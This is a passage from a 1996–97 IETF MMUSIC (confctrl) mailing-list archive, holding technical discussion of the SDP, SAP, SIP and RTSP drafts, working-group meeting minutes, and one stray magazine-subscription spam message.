	id <01BBF64E.470D5A40@slave.onlive.com>; Mon, 30 Dec 1996 12:37:54 -0800
Message-Id: <c=US%a=_%p=OnLive?_Technolo%l=SLAVE-961230203752Z-330@slave.onlive.com>
From: Rick Kiessig <rick@onlive.com>
To: "'ietf-web@ietf.org'" <ietf-web@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@isi.edu>
Cc: "'mjh@isi.edu'" <mjh@isi.edu>, "'van@ee.lbl.gov'" <van@ee.lbl.gov>
Subject: Your Internet Draft on SDP
Date: Mon, 30 Dec 1996 12:37:52 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I just tried to retrieve a copy of the draft-ietf-mmusic-sdp-02.ps from
both isi.edu and ietf.org, and I noticed that the postscript file on
both machines has been truncated.  It ends on page 11, where the text
version has 33 pages (the text version is listed as 57109 bytes, and the
postscript is 57345 bytes).  For some reason, it is not on the server at
ietf.cnri.reston.va.us, either.

Also, there are references to a version "03" of SDP and "01" of SAP in
the SIP draft.  Have these latest documents been posted somewhere, or
are the SIP document's references incorrect?

Rick

From majordom@ISI.EDU  Mon Dec 30 13:23:16 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03843>; Mon, 30 Dec 1996 15:23:39 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03837>; Mon, 30 Dec 1996 15:23:38 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15969>; Mon, 30 Dec 1996 15:23:37 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id SAA08241; Mon, 30 Dec 1996 18:23:16 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rick Kiessig <rick@onlive.com>
Cc: "'ietf-web@ietf.org'" <ietf-web@ietf.org>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'van@ee.lbl.gov'" <van@ee.lbl.gov>
Subject: Re: Your Internet Draft on SDP 
In-Reply-To: Your message of "Mon, 30 Dec 96 12:37:52 PST."
             <c=US%a=_%p=OnLive?_Technolo%l=SLAVE-961230203752Z-330@slave.onlive.com> 
Date: Mon, 30 Dec 96 18:23:16 -0500
Message-Id: <29444.851988196@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I just tried to retrieve a copy of the draft-ietf-mmusic-sdp-02.ps from
>both isi.edu and ietf.org, and I noticed that the postscript file on
>both machines has been truncated.  It ends on page 11, where the text
>version has 33 pages (the text version is listed as 57109 bytes, and the
>postscript is 57345 bytes).  For some reason, it is not on the server at
>ietf.cnri.reston.va.us, either.

An uncorrupted full copy is in the MMUSIC WG archive in
ftp://ftp.isi.edu/confctrl/docs/

>Also, there are references to a version "03" of SDP and "01" of SAP in
>the SIP draft.  Have these latest documents been posted somewhere, or
>are the SIP document's references incorrect?

There was some confusion due to me mistakenly thinking an earlier copy
had been submitted whenh it hadn't, and the ID editor renumbering the
SDP and SAP drafts when they were submitted.  SDP-02 and SAP-00 are
the current drafts, if not the first to have those numbers.  Check
you've got the Nov 96 versions of both.

Mark

From majordom@ISI.EDU  Tue Dec 31 07:02:03 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28894>; Tue, 31 Dec 1996 15:03:15 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28888>; Tue, 31 Dec 1996 15:03:13 -0800
Received: from INET-04-IMC.itg.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA27762>; Tue, 31 Dec 1996 15:03:12 -0800
Received: by INET-04-IMC.itg.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BBF72B.E88475B0@INET-04-IMC.itg.microsoft.com>; Tue, 31 Dec 1996 15:04:23 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-23-MSG-961231230203Z-25584@INET-04-IMC.itg.microsoft.com>
From: Rajeev Byrisetty <rajeevb@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: SAP: authentication header
Date: Tue, 31 Dec 1996 15:02:03 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 5 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Is there a mechanism to determine the number of padding bytes in the
authentication header? I couldn't find it in the new document.

	thanks,
	Rajeev

From majordom@ISI.EDU  Tue Jan  7 13:36:17 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10669>; Tue, 7 Jan 1997 13:36:17 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10661>; Tue, 7 Jan 1997 13:36:15 -0800
Received: from ALMADEN.IBM.COM by venera.isi.edu (5.65c/5.61+local-26)
	id <AA29684>; Tue, 7 Jan 1997 13:36:12 -0800
Received: from ALMADEN by almaden.ibm.com (IBM VM SMTP V2R2) with BSMTP id 1850;
   Tue, 07 Jan 97 13:34:56 PST
Received: by ALMADEN (XAGENTA 4.0) id 3905; Tue, 7 Jan 1997 13:34:56 -0800
Received: by almlnsg0.almaden.ibm.com (outermai.cmd 1.2 31 Aug 1993) 1:36pm 7 Jan 1997
Received: by almlnsg0.almaden.ibm.com (IBM OS/2 SENDMAIL VERSION 1.3.14/)
          id AA2882; Tue, 07 Jan 97 13:36:00 -0800
Received: by ALMADEN (Lotus Notes Mail Gateway for SMTP V1.1) id
  D6DB9B02A6BCF921882564180075A4A5; Tue,  7 Jan 97 13:35:59
Message-Id: <9701072136.AA2882@almlnsg0.almaden.ibm.com>
To: confctrl <confctrl@isi.edu>
From: "Marc Eshel/Almaden/IBM" <eshel@almaden.ibm.com>
Date:  7 Jan 97 13:35:33
Subject: Re: stream primitives
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Here is a note that I sent to 'rtsp-partners @ netscape.com' on Dec 17 .
  I guess the discussion moved to this location?



To:  rtsp-partners @ netscape.com @ gw
cc:  (bcc: Marc Eshel/Almaden/IBM)
Subject: stream primitives

Hi,
Here are some suggestion on how to improve the RTSP.
First I think that RTSP' should become prime draft on which we build
to get to the final standard. One thing that I noticed from attending
few IETF sessions last week is that there is a lot of reinventing. Using
HTTP as the starting point will probably cut few years from the
standardization process.

I also think the dsm-cc stream primitives are a good starting point
for the VCR like functions that should be supported. The dsm-cc as
a whole is too complicated but the set of stream primitives is small
and makes a lot of sense for multimedia control interface.
We can add or delete from the dsm-cc stream primitives but not
reinvent again an interface when we have something that evolved for few
years. dsm-cc is more popular in Japan and Europe and most video servers
there support this interface. I suspect that any serious video server
will have to support both dsm-cc and RTSP so lets make it easy to do.

Here are some things that we get from dsm-cc stream primitives. Some
of the items were already suggested by other people, but I want to
repeat them to both show support for the suggestion and show that
they exist in dsm-cc.
1. offset: 64 bit offset with 32 bit seconds and 32 bit microseconds.
2. scale (speed): a numerator/denominator indicates rate and direction.
   A negative numerator indicates reverse direction. 1/1 indicates
   normal play speed and 1/2 is half the normal play speed.
3. pause: first we should distinguish between pause and stop (dsm-cc
   close) because when we pause we don't want to free resources.
   We also need pause-at-offset which is important to keep to streams
   in sync. (like audio and video on 2 different servers).
   Another important reason for pause-at-offset is to let the server
   know where it will be expected to resume from, which is important
   for the server so it can prefetch the data and response faster to
   resume/play.
4. next: next is a primitive form of play list and we might even need
   play list but at the minimum we need next. Next is a way to queue
   a stream behind another stream for both smooth transition from
   one stream to another and also to make sure that you have resources
   for the next stream. If you stop one stream and start another
   the server might give up the resources used for the first stream
   and will not be to get resources for the second stream. next will
   guaranty that you have the resources and save some work on the server
   side too.

Another important improvement was made (that is not in dsm-cc) is to
have the options to specify offset in different units. The two mandatory
formats should be relative time-stamp and byte offset (64 bits).
Other units can be frame number, absolute time, etc.

Regards, Marc.




From majordom@ISI.EDU  Thu Jan  9 01:55:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20860>; Thu, 9 Jan 1997 09:57:17 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20854>; Thu, 9 Jan 1997 09:57:15 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20550>; Thu, 9 Jan 1997 09:56:57 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA02300; Thu, 9 Jan 97 09:55:47 PST
Date: Thu, 9 Jan 97 09:55:47 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9701091755.AA02300@vlsi.cs.caltech.edu>
To: allyn@eng.sun.com, confctrl@isi.edu, mankin@isi.edu, minutes@ietf.org,
        mjh@isi.edu, rlang@sri.com, schooler@cs.caltech.edu
Subject: MMUSIC minutes + slides
Cc: Scott_Petrack@vocaltec.com, a-amano@its.hiroshima-cu.ac.jp,
        anup@netscape.com, finlayson@lvn.com, pete.cordell@bt-sys.bt.co.uk,
        robla@prognet.com, schulzrinne@cs.columbia.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


   Multiparty Multimedia Session Control Working Group (MMUSIC)
                   Minutes from the 37th IETF
		  San Jose, California, USA
			December 9-10, 1996

                             Chairs
		    Mark Handley, mjh@isi.edu
		    Ruth Lang, rlang@sri.com
		    Eve Schooler, schooler@cs.caltech.edu

MMUSIC met during two sessions at the 37th IETF, both of which were
multicast.  A summary of each of the talks and pointers to
relevant Internet-Drafts or related documents is included below.  An
on-line copy of these minutes and accompanying slides are available 
from ftp://ftp.isi.edu/confctrl/minutes in the files ietf.12.96 and 
slides.12.96.{tar, tar.Z}.  Individual slide presentations can be obtained 
from the directory slides.12.96.  These notes were prepared by Ruth Lang.

Mark Handley (USC/Information Sciences Institute) described the significant 
modifications made to the Session Description Protocol.  See the slides 
sdp.ps, and the documents
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp.02.txt
	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp.02.ps
These include simplification of time fields, the addition of new
attributes (e.g., for the quality of video encodings), and an
enhancement of the encryption keys (now an attribute/value pair as an
indirection for obtaining keys).  He then introduced the topic of
representing session capabilities (i.e., options from which to choose
to create a session as opposed to an instantiatable session as SDP
describes now).  A strawman extension to the syntax of SDP was
introduced and examples of its use were given.  Questions arose from
the group which identified that "potential sessions" were not a
well-understood concept.  Mark proposed that the current draft of SDP
be pushed forward as a proposed standard and that work begin to extend
SDP to support capability description.  Henning Schulzrinne objected
to the latter in favor of adopting a new syntax rather than extending
SDP itself.  He also said that he would raise an objection to the
former if advancing the current SDP draft implied that compatibility
with it would need to be maintained by a new session description
format/protocol.

Ross Finlayson (Live Networks, Inc.) spoke briefly about the work of the 
Calendaring and Scheduling Working Group and identified that isomorphism 
between a CALSCH event and an event represented in SDP was needed.  His input 
to that group has encouraged them to adopt the use of UTC time, etc. that
will make their event descriptions compatible with SDP.  He also
identified areas of potential incompatibility which implied that
participation by MMUSIC in this WG is needed to ensure compatible
results.

Mark Handley described the significant modifications made to the
Session Announcement Protocol.  See the slides sap.ps and the documents
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.txt
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.ps
(Please note that a previous PostScript-only version of this
Internet-Draft existed but the lack of a text version caused the reuse
of "00" for the 2nd version of the document).  These modifications
include removal of a padding bit from the SAP header, the addition of
a compression bit for indicating use of gzip (zlib) compression,
removal of the address-test message type, and the addition of a key id
field.  Open issues were identified and discussed which included
security, generation of a unique ID (guid's suggested as an option),
and restricting SAP to carry only SDP packets.

Mark Handley presented a "new" protocol, the Session Initiation
Protocol (SIP v2).  See the slides sip.ps and the documents
	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.txt
	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.ps
This protocol represents the unification of Handley/Schooler's Session
Invitation Protocol (SIP v1) and Schulzrinne's Simple Conference
Invitation Protocol (SCIP).  (Note that all are co-authors on this new
draft.)  The new protocol is specified to be carried over UDP or TCP,
uses an HTTP-like syntax and HTTP 1.1 status codes.  Proxy rules are
more tightly defined in SIP v2 but TCP/UDP translation proxies are to
be completed.  Open issues identified include: supporting capability
requests, adding additional support for transfers between telephone
and Internet.

Pete Cordell of British Telecom presented a description of research
work to develop the Simple Universal Call/Conference Establishment
Sequence Protocol (SUCCESS).  See the slides success.{ppt, ps} and 
the document
	ftp://ds.internic.net/internet-drafts/draft-cordell-success-00.txt
It is a single protocol for session management (cf the modular
approach employed in the specification of MMUSIC protocols) intended
to support the range of tightly to loosely controlled sessions.  It's
call model is based on a "hello-hello" paradigm.  Due to lack of time,
not much discussion on this protocol ensued.

Scott Petrack (Vocaltec, Ltd.) provided an overview of the VoIP (Voice on 
IP) Forum.  See the slides voip.{ppt, ps}.  VoIP is an IMTC group whose 
goal is to ensure and promote industry-wide interoperability of Internet 
voice communications products.  They will define technical guidelines for
two-party voice and other audio communications for compatibility with
traditional telephone service networks via telephony/IP
gateways. Their are currently working on items such as RTP payload
formats for DTMF tones and comfort noise, and an agent-based
architecture for pre-call setup called Call Management Agents
(CMA). Their mailing list is voip-tech@vocaltec.com (requests to
voip-tech-requests@vocaltec.com); more information can be obtained
from http://www.imtc.org/n/n_whatnu.htm#voip.

Rob Lanphier (Progressive Networks) and Anup Rao (Netscape
Communication) provided an overview of the Real Time Stream Protocol
(RTSP).  See the slides rtsp_require.{ppt, ps} and the document
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-00.txt
Two examples were presented to illustrate the protocol's use:
exchanging version information (see the slides rtsp_eg1.{ppt, ps})
and streaming a multimedia file (see the slides rtsp_eg2.{ppt, ps}).

Henning Schulzrinne (Columbia University) provided an overview of
RTSP'.  See the slides rtsp_prime1.ps (or rtsp_prime6.ps) and the
documents
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-stream.00.txt
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-stream.00.ps
RTSP' is an alternative proposal to RTSP inspired by the
Netscape/Progressive work but is more compatible with existing MMUSIC
protocols (SDP, SIP v2).

Open issues for real-time streaming were discussed which included text
vs binary representation of the protocol, stream control vs device
control, metafile/session descriptions, joining into existing
conferences, multi-client control of streams, and the use of UUIDs as
identifiers.  Daniel Adam (Microsoft Corp.) volunteered to create a
scenario describing the issues surrounding the use of UUIDs through
firewalls for future interaction with firewall vendors.

Akira Amamo (Hiroshima City University) presented the CamCorder Control
Protocol targeted for the control of video cameras and VCRs.  See the slides 
camcorder.{ppt, ps}.  The protocol is a text-based protocol designed after 
ftp.  Christian Huitema suggested that the authors consider writing an SNMP 
MIB for this purpose.  A disagreement about the appropriateness of text vs 
binary for such a protocol was cut short due to lack of time in the session.


From majordom@ISI.EDU  Sat Jan 18 13:26:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08883>; Sun, 19 Jan 1997 05:28:13 -0800
Received: from broad.way.com by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08876>; Sun, 19 Jan 1997 05:28:08 -0800
Received: from [165.254.124.212] (port12.way.com) by broad.way.com (4.1/SMI-4.1)
	id AA13698; Sun, 19 Jan 97 07:43:46 EST
Organization: Way Communications
Message-Id: <v03010d01af05de64b2f0@[165.254.124.210]>
Mime-Version: 1.0
Content-Type: text/enriched; charset="us-ascii"
X-Priority: 1 (Highest)
Date: Sun, 19 Jan 1997 07:38:35 -1812
To: tt@way.com
From: tt@way.com
Subject: ===>> FREE 1 yr USA Magazine Sub sent worldwide-270+ Choices!  Up
 to $64.00 value!
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

<bold><color><param>FFFF,0000,0000</param><bigger><bigger><bigger>FOR
MORE INFO:   please "cut out" the below form on the "cut" lines shown,
and fax it, for the fastest reply to:                  718-227-9125  
(this is a fax # in the USA)</bigger></bigger></bigger></color>

</bold>

<bold>or send via smail (first class mail or airmail) to:    

                                         Tempting Tear-Outs

                                         Att. Free-catalogue-by-email
Dept

                                         3835 Richmond Ave.  Suite
#200

                                         Staten Island NY  10312-3828

                                         USA</bold>


<bold><italic><underline><color><param>FFFF,0000,0000</param>SORRY,
BUT.... our software is not set up to accept forms via return email;  
WE CAN ONLY acknowledge forms sent in via fax or
smail.</color></underline></italic></bold>


<bold><color><param>FFFF,0000,0000</param><bigger><bigger><bigger>-->
IMPORTANT complete directions, to ensure that you get a reply, and more
info follow, below the reply form and the catalogue
options.</bigger></bigger></bigger></color></bold>



<bold><italic>*------------cut
here/begin-------------------------------------------*</italic>


Name:

Internet email address:

Smail home address:

City-State-Zip:

Country:

Work Tel. #:

Work Fax #:

Home Tel. #:

Home Fax #:


How did you hear about us (name of person/company who referred you or
the area of

the internet that you saw us mentioned in):  Referral by: Tempting
Tear-Outs     

011897-l


Name of USA mags you currently get on the newsstand or in the store:


Name of USA mags you currently get on a subscription basis, through the
mail:


Name of USA mags you would like price quotes on when we call you:


Catalogue version desired (list number of choice below):


<italic>*------------cut
here/end--------------------------------------------*</italic>

</bold>



<bold>CATALOGUE VERSION CHOICES</bold>:


<bold>1.</bold>  This version can be read by everyone, no matter what
type of 

     computer you use, or what type of software you use.  It is a
simple

     format, with just <bold>our entire catalogue pasted into the body
of a 

    single email message, 316K in size.</bold>  If you use pine or elm
on a unix 

     system or an advanced software version such as Eudora Pro 3.0 or

     later, you will most likely receive it as a single email message. 
 

     However, if your software limits incoming email messages to a     


     certain size, say 32K or so, then your software will split it into


     multiple email message parts.   Whether you receive it as a single


     email message or multiple part email messages, you can easily 

     paste it into one whole text document with your word processor, in


     about 10 minutes or so.

<bold>2.</bold>  For more advanced computer users:  <bold>attached text
file ~316K</bold> - you

     must know how to download an attached text file and then be able
to

     open it with your word processor.  If in doubt, don't ask for
this

     version.  This isn't for internet *newbies.* Better to order
option 1

     and spend a few minutes pasting them into one whole text document

     with your word processor, than to waste hours trying to figure
how

     to deal with this option.   This version is great for doing word

     searches and jumping around within the catalogue with your word 

     processing software, if your normal email reading software doesn't


     allow this.

<bold>3. </bold> For more advanced <bold>Macintosh</bold> computer
users: compressed attached

     text file, created with a <bold>Stuffit(tm) self-extracting
archive (.sea),

    ~140K.</bold>  Can be decompressed by any Macintosh computer user;
no

     special expansion software or knowledge of Stuffit (tm) needed. 
You

     just double-click on the file icon and it automatically expands

     (unstuffs). This is for more advanced mac computer users only, as

     you still have to know how to deal with an attached file.  It will
cut

     your download time by 55%.   Expands out to the same ~316K file
in

     option #2.  See option #2 for more info on what you will need to
be

     able to do.

<bold>4.</bold>  For expert <bold>mac or pc computer users</bold>:
compressed attached text file, 

     created with <bold>Stuffit(tm),  ~116K</bold>.  Can be
decompressed by any 

     computer user who has expansion software to decompress (expand) 

     Stuffit(tm)<bold> (.sit)</bold> files.  This is for more advanced
computer users only

      and will cut your download time by 63%.   Expands out to the same


     ~316K file in option#2.  See option #2 for more info on what you
will 

     need to be able to do.

<bold>5.</bold>  For expert pc or mac computer users: <bold>compressed
attached text file, 

    in a .zip file format, ~143K. </bold>  Can be decompressed by any
computer

      user who has expansion software to decompress (expand) .zip
files.

      This is for more advanced computer users only and will cut your 

      download time by 54%.   Expands out to the same  ~316K file in 

      option#2.   See option #2 for more info on what you will need to
be

      able to do.





<bold><color><param>FFFF,0000,0000</param><bigger><bigger><bigger>VERY
IMPORTANT DIRECTIONS TO ENSURE THAT YOU GET A
REPLY:</bigger></bigger></bigger></color></bold>


1.   you must call from an "unblocked number," ie. one that is not
blocked from caller id.  We are very sorry for this requirement, but
our fax software requires this before it allows an incoming fax call to
connect.   If you have a blocked number, you must first unblock it.  In
most cases this means dialing *82 from a touch-tone phone (or 1182 from
a rotary phone) before you dial 1-718-227-9125.     NOTE:  If you are
not sure if your number is blocked, just try dialing our fax #
normally.  If you don't get a recording telling you your number is
blocked, your number has been transmitted and you may press the start
button on your fax when you hear the fax tone from our fax.

2.   no reply forms can be accepted by email....only via fax or smail. 
 

3.   your form must be typewritten or printed out on your computer
printer before you fax it;  ie. no handwritten forms can be accepted.

4.   faxes with cover pages will be rejected.  You must send *only* the
reply form.

5.   forms not *completely* filled in will not be acknowledged.

6.   you will receive a reply within 1 business day directly from the
company making the offer via email.  Therefore you must have an email
address.  If you read this message, then you must have an email
address, or access to one, at least.   :-)

7.   your fax must not exceed 1 page in length.   Faxes of 2 or more
pages will be sensed, then auto-terminated and deleted.  Your fax goes
directly onto our 5.0 gigabyte hard drive and we must limit all
incoming faxes to 1 page.

8.   all faxes must begin with:

*------------cut
here/begin-------------------------------------------*

and must end with:

*------------cut here/end--------------------------------------------*

9. Any fax not conforming to this format will be sensed by our
software, then auto-terminated and deleted from the hard drive, before
any human ever gets to see it.

10.  If this all seems too complicated for faxing, just do it the old
fashioned way via smail!!!



<bold>WHO WE ARE:</bold>


Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

 

<bold>MORE ABOUT THE COMPANY MAKING THE FREE OFFER:</bold>


The company making the offer is a magazine subscription agency based in
the USA.  They have over 1,500 popular USA titles available to be
shipped to *any* country, including of course, to anywhere in the USA! 
  <bold><underline>They offer a FREE 1 yr. subscription to your choice
of over 270 of the titles in their catalogue to any new customer using
them for the first time.</underline></bold>       The  dollar value of
the freebies, based on the subscription prices directly from the
publishers, ranges from $6.97 all the way up to $50.00!


For new customers in the USA, there is no charge for FPH (foreign
postage & handling), so the freebie is 100% free!   For new customers
living overseas, the only charge on the freebie would be for the FPH
(foreign postage & handling).


Their president has been in the magazine subscription business since
1973 and they are very customer-service oriented.   They will even help
you with address changes on your magazines, even if you move from one
country to another country.   They have thousands of happy customers in
over 59 countries.


<bold>Their price guarantee is very simple:       they guarantee that
their subscription prices are the lowest available and they will BEAT
any legitimate, verifiable offer before you pay them or match it
afterwards, by refunding you the difference in price PLUS the cost of
the postage stamp you would use sending in the special offer to them,
even 6 months after you pay them, as long as it was current at the time
of your offer.    Does that sound fair?       Wouldn't it be great if
everything you bought came with that price guarantee? </bold> 


Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,500 titles on their list,
they would like to think that they have also the best selection
around!


Within the USA, for their USA customers, they are cheaper than all
their competitors and even the publishers themselves.  This is their
price guarantee.         The 1 yr. freebie that you get with your first
order is completely free!   


Overseas, (even after you factor in the cost of the FPH (foreign
postage & handling) and the conversion from USA Dollars to your
currency), on the average, they are generally around one-fourth to
one-half of what the newsstands overseas charge locally for USA
magazines.  On some titles they are as little as one-tenth of what the
newsstands charge.  They are also the cheapest subscription source for
delivery overseas, including directly from the publishers themselves!  
Some publishers don't even offer subscriptions overseas.........but
overseas subscriptions are this company's specialty!  They feel that
magazines should not be a luxury overseas.   In the USA, people buy
magazines and then toss them after reading them for just a few minutes
or hours.  They are so cheap in the USA!   Well, this company would
like to make it the same way for their overseas members.  They are also
cheaper than all their competitors in the USA and overseas, including
the publishers themselves!   It is also *highly unlikely* you will find
any of their USA competitors calling you overseas, in order to offer
that personal touch, just to sell you a couple of magazines!  But that
is what this company specializes in and loves doing!     Around
one-half their business comes from overseas, so they are very patient
with new members who only speak limited English as a 2nd language.   
Subscription prices quoted for overseas consist of the subscription
price, plus the FPH.   You add the two together and that is your total
cost.   The exception is the 1 yr. freebie you get with your first
order.   On that title, you pay *only* the FPH for the 1 yr. term.


<bold><underline>Their prices are so cheap because when you deal with
them, you cut-out all the middlemen.</underline></bold>



<bold><bigger><bigger>HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED
WITH THEM:</bigger></bigger></bold>


<bold>Simply fax or smail back to us the reply form listed at the top
of this message.</bold>   We will then forward your form on to the
subscription agency.  They will then email their "big and juicy"
catalogue to you, in whichever of the four formats you chose.   The
catalogue is FREE and makes for hours of fascinating reading, on its
own. It includes the complete list of freebies, a complete list of all
the titles they sell, as well as detailed descriptions on most of the
titles, along with lists of titles by category of interest and their
terms of sale.    


They will then give you a friendly, no-pressure, no obligation,
5-minute call to go over how they work and to answer any questions that
you might have, as well as give you up-to-the minute price quotes on
any titles you might be considering.     They will call you in whatever
country you live in, taking the time difference into account.        As
they like to emphasize the personal touch they give to each new
customer, all first-time orders can only be done via phone, so they can
answer all your questions completely and personally.   Once you have
placed your first order via phone, you will be able to place future
orders and make inquiries on your account, get price quotes, etc., all
via email, if that is most convenient for you.


Within the USA, they accept payment via check over the phone,
Mastercard, Visa and American Express.      Overseas, they accept
Mastercard, Visa and American Express, even if your credit card is a
local one in local currency!


That's our introduction of our client that we represent.   We hope that
we have piqued your interest and that you will take the next step to
get their free catalogue!   Thank you for your time and interest.


<bold><color><param>0000,FFFF,0000</param>--

Tempting Tear-Outs.

For more info on advertising rates, please write us on your company
letterhead, w/business card, via smail to:   Tempting Tear-Outs, 3835
Richmond Ave. Suite #200, Staten Island NY  10312-3828, USA.
</color></bold><color><param>0000,FFFF,0000</param> </color>           
  



















From majordom@ISI.EDU  Thu Jan 23 18:59:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02790>; Thu, 23 Jan 1997 10:00:23 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02784>; Thu, 23 Jan 1997 10:00:22 -0800
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23363>; Thu, 23 Jan 1997 10:00:20 -0800
Message-Id: <199701231800.AA23363@venera.isi.edu>
Received: from fokus.gmd.de by ceres.fokus.gmd.de 
          id <14752-0@ceres.fokus.gmd.de>; Thu, 23 Jan 1997 18:59:02 +0100
X-Mailer: exmh version 1.6.1 5/23/95
To: confctrl@isi.edu
Cc: 
Subject: SDP and order of tags
Mime-Version: 1.0
Content-Type: text/plain
Date: Thu, 23 Jan 1997 18:59:02 +0000
From: Christian Zahl <zahl@fokus.gmd.de>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

To Mark!

I had some discoussions with some others about the order of the tags
in the SDP draft. As mentioned in my prior mail, I noticed that 
a lot of currently received SDP packets have misorderd tags. Well,
according to the draft, we have to ignore these packets!

In fact, there is no real reason for the strict order of the tags,
except for
	- the v= should be the very first tag
	- the Time Description group has to be started by t=
	- the Media Description group has to be started by m=

So all the other tags can occur anywhere in the packet. The hope,
that it is easier to write a simple parser when there is a strict 
order seems also not to be true. It is much easier to parse the packet
when the order is not fixed, eg. by using a "switch()". And this is
more flexible, because this parser still works when new tags will
be included in the SDP packet; they will simply ignored. It's much
more difficult to do that when your parser expect a fixed order of
the tags!

I also think, that the usage of the a=, k=, b= and c= before the 
"Media Description" should be removed. The gain when using these tags
as "global" definition, rather than specifying them in each media
description seems to be very small! And the current packets show
that often both informations are included in an SDP packet.

Anyway, the draft should give us more flexibility und should follow the
philosophy: "be conservative in what you send, be liberal in what you
accept". So the draft should allow us to use packets with misorderd
tags. I don't think that is realy necessary to define a strict order
for sending.

Any comments are wellcome,
Chris


From majordom@ISI.EDU  Thu Jan 23 08:22:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05063>; Thu, 23 Jan 1997 10:23:09 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05057>; Thu, 23 Jan 1997 10:23:07 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA24828>; Thu, 23 Jan 1997 10:23:06 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id NAA11343; Thu, 23 Jan 1997 13:22:01 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Christian Zahl <zahl@fokus.gmd.de>
Cc: confctrl@isi.edu
Subject: Re: SDP and order of tags 
In-Reply-To: Your message of "Thu, 23 Jan 1997 18:59:02 GMT."
             <199701231800.AA23363@venera.isi.edu> 
Date: Thu, 23 Jan 1997 13:22:01 -0500
Message-Id: <11341.854043721@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I had some discoussions with some others about the order of the tags
>in the SDP draft. As mentioned in my prior mail, I noticed that 
>a lot of currently received SDP packets have misorderd tags. Well,
>according to the draft, we have to ignore these packets!

Yes, the e and p fields are reversed in sdr.  This will be fixed soon.

>In fact, there is no real reason for the strict order of the tags,
>except for
>	- the v= should be the very first tag
>	- the Time Description group has to be started by t=
>	- the Media Description group has to be started by m=
>
>So all the other tags can occur anywhere in the packet. The hope,
>that it is easier to write a simple parser when there is a strict 
>order seems also not to be true. It is much easier to parse the packet
>when the order is not fixed, eg. by using a "switch()". And this is
>more flexible, because this parser still works when new tags will
>be included in the SDP packet; they will simply ignored. It's much
>more difficult to do that when your parser expect a fixed order of
>the tags!
>
>I also think, that the usage of the a=, k=, b= and c= before the 
>"Media Description" should be removed. The gain when using these tags
>as "global" definition, rather than specifying them in each media
>description seems to be very small! And the current packets show
>that often both informations are included in an SDP packet.

You have to be careful here - there is a two-level hierarchy (session
wide attributes and media attributes).  Some things only make sense in
one context or the other.  It isn't just for the purposes of compression.

Mark

From majordom@ISI.EDU  Tue Jan 28 15:02:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
